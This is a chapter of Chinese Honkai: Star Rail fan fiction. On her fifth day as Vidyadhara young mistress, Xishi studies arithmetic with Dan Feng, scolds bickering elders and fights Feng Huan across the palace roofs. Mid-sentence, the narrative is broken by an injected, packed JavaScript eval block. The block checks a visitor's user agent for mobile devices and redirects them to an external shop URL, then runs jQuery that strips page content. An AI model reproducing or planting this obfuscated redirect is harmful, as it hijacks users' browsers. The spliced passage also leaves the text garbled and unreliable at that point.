成为持明少主的第五天。
本以为会见到龙师和龙尊僵持的场景,今早来临渊府左看右看,只见龙师异常安静。
如果他们的视线不盯着丹枫和汐识不放的话,或许汐识还想上前折腾几个忙碌的族人。
而现在,她从书堆里探出头,随手借了一只浮羊毫笔,透明的笔盖帽上还是形如绒球的浮羊绘图。
汐识坐在丹枫对面,眼中燃着好奇的小火苗,朝着黉学习题册发起气势汹汹的进攻。
一大早从床上蹦起来,就跟丹枫大眼瞪小眼,洗漱吃饭喝药再漱口一气呵成,然后迷迷糊糊被拉去地衡司总务府。
勤务人员是个漂亮利落的狐人姐姐,先是带她采集生物信息,又给了个用于仙舟户籍管理的玉兆手镯,最后开通星槎乘坐权限。
一套流程下来行云流水,没有像龙师一样的多余问候。
作为仙舟的庶务管理机构,地衡司管的事情相当多。其工作人员的职责,上至应急救灾、户籍管理、历法计时、资源配置以及社会生态地理文学等学术研究,下至案件办理、调解纠纷、寻回宠物等等黎民琐事。
严谨,才是地衡司正确的工作态度。
仙舟联盟人口高达万亿,汐识看得出这个勤务姐姐对业务相当熟练。
初春微凉,风清露爽,尽管仙舟洞天风景花树常驻,但风雨台最初的出现就是为了摆脱长生种日复一日的无趣,故而还是有些季节与温度差别的。
踏出地衡司的大门后,两人脚下的步伐未曾停住。
丹枫带她去黉学报道。
黉学,仙舟幼子学习的地方,教书先生负责教习的内容多是基础学科常识与生活认知。比如:识文断字,礼乐认知,仙舟传统曲艺观赏,仙舟联盟历史基础,物理力学入门,算数基础,银河星神与命途普及读本,射御之术……
通过黉学的升学考试,可以升入学宫。
黉学导师听说两人来意,当即打开类似四方览镜的教务系统蓝屏,指导汐识利用玉兆手镯登记学籍和报名升学考试。
仙舟不乏精于学习之道的小孩子,为了不蹉跎他们的成长,黉学规定学童可以在每学期初和期末申请参加学宫升学考试。
此外,射御是古国时代流传下的六艺内容,也是仙舟民信仰帝弓司命的武德体现。在仙舟人的成年礼时,父母皆会送箭矢给狩猎成功的孩子。
黉学对幼童的射御要求不高,能乘坐退役战兽发中一箭就是合格,因此,从黉学跳级到学宫者不在少数。
对汐识而言,认字什么的当然不在话下。
至于其他的,用持明少主的聪慧脑袋去学习一门新学科,一小时内速通一门是理所应当的事情。
简而言之,丹小枫还是太低估他祖宗的潜力了。
汐识想着,合手放下毛笔和写完的大半习题册,懒懒伸展了下四肢。
发呆一会儿后,她拿了几根羽毛笔将其摆成一排,眨巴了下眼睛,把它们摞成一竖列然后再推倒,玩得不亦乐乎。
昨天睡得很沉,早上醒来时,脑海里只残余一个模糊的画面。
这次没有雨别,仅仅有波月古海和无尽汐。
它们不会说话,对她也没有什么要成为持明族希望的期待,只会一起静静陪伴她的安眠。
一望无际的古海,它是一个远比陆地上要安心得多的地方。
日光渐烈,室照洞然。窗牗之下有一香炉,瑞烟四起,燃的是安神散、波月薄荷、鳞渊朝露配制的焚香,闻起来心神舒畅。
龙师们呈上需要龙尊决策和盖章的卷轴文书,看着一大一小两个主子的友好相处模样,一个个双眼憔悴,两步一回头地陆续离开。
刺眼的烈日光芒透过窗棂,太阳落于尘世的影子逐渐映到翻看的文字上,丹枫略有不悦地皱了下眉。
汐识也察觉不适,站起来麻利地把透光但不刺眼的月白纱帘拉上,确定严丝合缝才满意地点了点头,然后回到座椅上。
片刻后,她抽出一本基础运算书,翻了没两页又合上。
别说羽毛笔了,连半根羽毛也没用上。
对面的墨发男子没有看见她的举动,依然默不作声,神色清冷如寒月,处理公文起来迅速有序。
汐识一脸乖巧坐在木椅上,将羽毛笔收拾好放在笔筒里,再把下巴搁在堆高高的习题上,明目张胆地盯着丹枫看。
叛逆小龙安静起来必有妖。
没听见她写字时的沙沙声,丹枫抬起头,环顾无龙师后才下意识地按了按眉心。
他向着长着两只雪蓝色龙角的小书堆处愣了会儿,然后才开口问:“这么快都做完了?”
这些习题册一半是理论知识,一半是题目,只要看懂了基础,题目都是翻页时顺手的事儿。
丹枫相信,她能一上午创造一个奇迹。
“我有不明白的地方。”汐识摇了摇头,从桌上拿了两个桃子摆在运算册上给他看,小脸带着恹恹不乐的郁闷。
“嗯?”丹枫轻皱眉,表示真的理解不了看图说话。
汐识伸出手指头指了指最上面的数学加法介绍,解释道:“这个,看得懂又看不懂。”
丹枫不知道从哪开始给她解释,看了眼窗外的日光,决定在带她去用午膳前翻几页给她讲讲。
他拿过书和上面的桃子,看到了正章第一页。
“1加1等于几?”
汐识即答:“1!”
丹枫被她的自信吓得眼皮一跳,只得叹口气:“……要不你去蜕生吧,这一世的脑袋不太好使。”
汐识冷漠地哦了一声,再次把两个水灵灵看起来很好吃的粉白色桃子放他面前,问他:“桃子和桃子加起来是不是还是桃子?”
丹枫点点头。
汐识追问:“那,1和1加起来为什么不是1?”
丹枫:“……”
好问题。
“因为运算的本质是问有几个1,两个1相加,即一个1加一个1等于两个1。如果你问2加2为何等于4,那么我会告诉你,两个1加两个1等于四个1。这只是个数量关系。”并非哲学本质的思辨问题。
说完,丹枫神色微异。
这家伙追本溯源的精力丰沛到让人差点招架不住。
自雨别起,历代龙尊威烈不改,多有自己的坚持和疑问,不会因为他人的眼光而妥协于表面上的和平。坦白说,面前这位小祖宗倒是和他很像。
正因如此,他才会选择汐识去制衡龙师。
汐识思考了一会儿,脆声说:“所以乘法就是,1乘1等于一个1相加,2乘2等于两个2相加……哦,我完全明白了!”
盯着对面的人疑惑了几秒后,丹枫嗯了一声。
他平静地望了眼中恍然的汐小识,不管她是怎么从加法一跃到乘法的,总之她看起来很高兴。
“举一反三,你理解的很快。”丹枫又说,“5加6等于多少?”
“十一个1!”
太好了不用去蜕生了。
汐识双手一摊,仿佛在问这种简单的事情为什么要问我。
丹枫:“……嗯。”
很好,她已经完全忘记了那个三分钟前还纠结于加减法为什么不是哲学问题的自己。
饭后,丹枫有事外出,留汐识一个人在临渊府里跟习题册斗智斗勇。
午后的殿影逐渐移到石阶的另一侧。
龙师一个接一个地进进出出,有的喊着票据到期了赶紧催,有的预定星槎拿着材料去地衡司,还有的人怀里抱着盗取鳞渊天冬的犯人资料交给龙师风浣。
“风浣长老,这个化外民是博识学会派来和丹鼎司交流合作的药商,您看这,这……”
一族人卑躬垂首,对着掌握族内刑罚大权的风浣支支吾吾。
闻言,风浣横眉冷对:“博识学会又怎么样?盗采天冬,照样幽囚押送!”
仙舟上的药材不同寻常,多为建木还在时流传下来的奇特植物,它们效力比起一般药材,更像是某种奇迹。鳞渊天冬生长于波月古海的海滨,因药效可愈合肺部损伤,时常受到他人盗采。
风浣接过犯人的资料,很快拟定一份幽囚通传令,盖好官章。他见身后人恋恋不舍跟着他,懒得搭理对方,直接去正殿找丹枫,打算来一招祸水东引。
“可人家毕竟是星际和平公司那边的人,公司以存护星神的名义保护银河,又以贸易之名掌控着上万颗星球,咱们何故因为一个小小的药商跟他们撕破脸皮呢?”
“出错的是他们,我们不讹上他们已经是网开一面了,怎能如此吃里扒外!仙舟也是数一数二的银河势力,谁还没个星神保护了?我看你也是老了不中用了,竟然做出这般可耻的小人姿态!”
“风浣,你!我也为了持明族的利益啊!”
……
“怎么又吵起来了?”
刷题刷上瘾的汐识跑去学书架上的代数题,手上拿了一支霞色羽毛笔在米白纸上写写画画,但耳边传来的聒噪声让人心中不喜。
“唉,我可怜的族人们,你们就不能温声细语地吵个架吗?”
也没看来的是谁,汐识手中的羽毛笔悬在半空,盯着可爱的数字们顿了片刻,她刻意扬声道:“不要吵架,谁打扰我,就去门外罚站一个时辰!”
话音刚落,来人纷纷惊眩,互相比了比眼神,并尽量保持镇定的客气。
“少主大人,丹枫大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318907|199016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人去哪儿了?”
今日尤善解答,面对族人的疑问,汐识轻轻地回了一句:“哦,他去鳞渊境找雲光了。”
两人话到嘴边却说不出口,看得汐识想赶人出去。
“有事就说,没事就出去。哦,我哥不在,我在也一样。”
汐识转身侧头,朝他们冷冷瞥了一眼。
那一眼,看的两人出现一种错觉,竟然觉得她这个五天大的小娃娃真能理清纠纷。
汐识也好丹枫也罢,横竖亏不着他。于是风浣坚持自己的原则,开始向汐识解释事情的来龙去脉。
思考了一会儿,汐识目光一转,朝低眉顺眼的族人问道:“你多大了?”
老者愣了下,面上带着不理解,微微低下头思索了一会儿,小心翼翼道:“属下不才,五百有八,还差二十年就能退休了。”
“哦,怪不得。”汐识双眸淡然,似是完全理解了这场吵架的起因,“人老了眼神不太好使,但总该要知道什么是利,什么是害。”
此言一出,旁边的风浣忍不住点点头附和。
族人噤若寒蝉,风浣见他打了个冷颤,忍不住轻啧一声。
“少主大人教训的是,此事是我考虑不周,实在是——”
汐识半抬手,打断了他的搪塞托词。
“你哪里是考虑不周,你可是考虑的太周全了。”
“可周全未必都是好事。仙舟、公司、博识学会、持明族,想让每一方都满意,在牺牲一方利益的前提下,这种事情是不会得到彻底解决的。”
风浣一脸幸灾乐祸,继续说:“持明族的天冬长在仙舟的洞天内,公司签订药材互贸合同,又派学者商人交涉留驻。依我看,就该杀鸡儆猴,以后也给护珠人少惹点麻烦事。”
他和雪浦同掌持明族内刑罚,互相牵制,而这个族人是雪浦的下属。
老者不再坚持自己的想法,拱手行礼后连忙撤退,完全不想和难缠的小少主继续对上,走的很是干脆。
“你等等。”眼见风浣也要溜之大吉,汐识瞧着就不顺心,“你打扰我了,得去罚站。”
“啊?凭什么他就不用罚站!”青年隽秀的脸庞上写满了不服,这种丢人的事情患寡而不患均,他指着门外快要看不到的影子,终究还是把心底的话一股脑摆了出来。
“哦,没来得及告诉他。那你们明早一起罚站一个时辰,好了吧?”
汐识懒得再理他,坐回座位上,回顾起感情渐笃的数学题。
这数学,真的是越学越有数。
和上午库库刷文史题的感觉一样,不过不需要写太多字,这学科是挺会心疼人类的手腕的。
话音刚落,原本愤怒的风浣顿时变得结巴,但心中觉得不妥,还是想找她理论几句。
半小时后,他因理论不成反倒再度打扰了汐识的进步,被她冷着脸用云吟术扔到了临渊府门口。
龙师毕竟是龙师,高高在上惯了,况且他真的不想连着两天都罚站。
风浣据理力争之下,汐识跟他公平切磋。
丹枫回来时,只看到他的小祖宗和龙师中的叛逆青年在临渊府大打出手。
……准确来说,更像是拆家。
打的那叫一个上房揭瓦,像云骑校场里的入伍新人那般不分胜负誓不罢休。
尤其是两人都是云吟术的高手,眼里互相不屑,但又闪着越打越来劲的挑衅。
汐识化水成刃,将风浣甩过来的大水缸“砰”的一声击碎。
她在飞檐上游走,眨眼间腾空闪到风浣面前,水波撼动的气浪滚滚而来,精准锁定对方的位置。
风浣瞪大了眼,几个翻身堪堪躲过,但他还是被强劲的力量击倒在地。
于此同时,背后躲避开来的刃芒落到正殿的屋檐上,大片琉璃瓦骤然开裂,发出清脆的环鸣声。
风浣面色惊诧:完了,赔不起。
汐识背对清丽的日光,心情颇好,站在长廊高处水流幻化成的台阶上蹦蹦跳跳,就像碧空牧场养的浮羊自由自在。
丹枫:“……”
他皱着眉,先对风浣一招无情痛击,又跃上屋顶,把略胜一筹的汐小识逮下来。
“说说吧,怎么回事?”
汐识和风浣相对而立,两个人颇有脾气,此刻却很有默契,谁也不肯说怎么回事。
丹枫看了看两个小哑巴,一个不足百天一个不足百岁,眼底全写着龙裔的桀骜不驯。他低头唤醒玉兆,瞅了眼时刻。
还有一个时辰才能回府里。
对,一个时辰。
忽然不知道要怎么度过这漫长的两小时。
明明汐识才蜕生五天,丹枫只觉得跟过了五年一样漫长。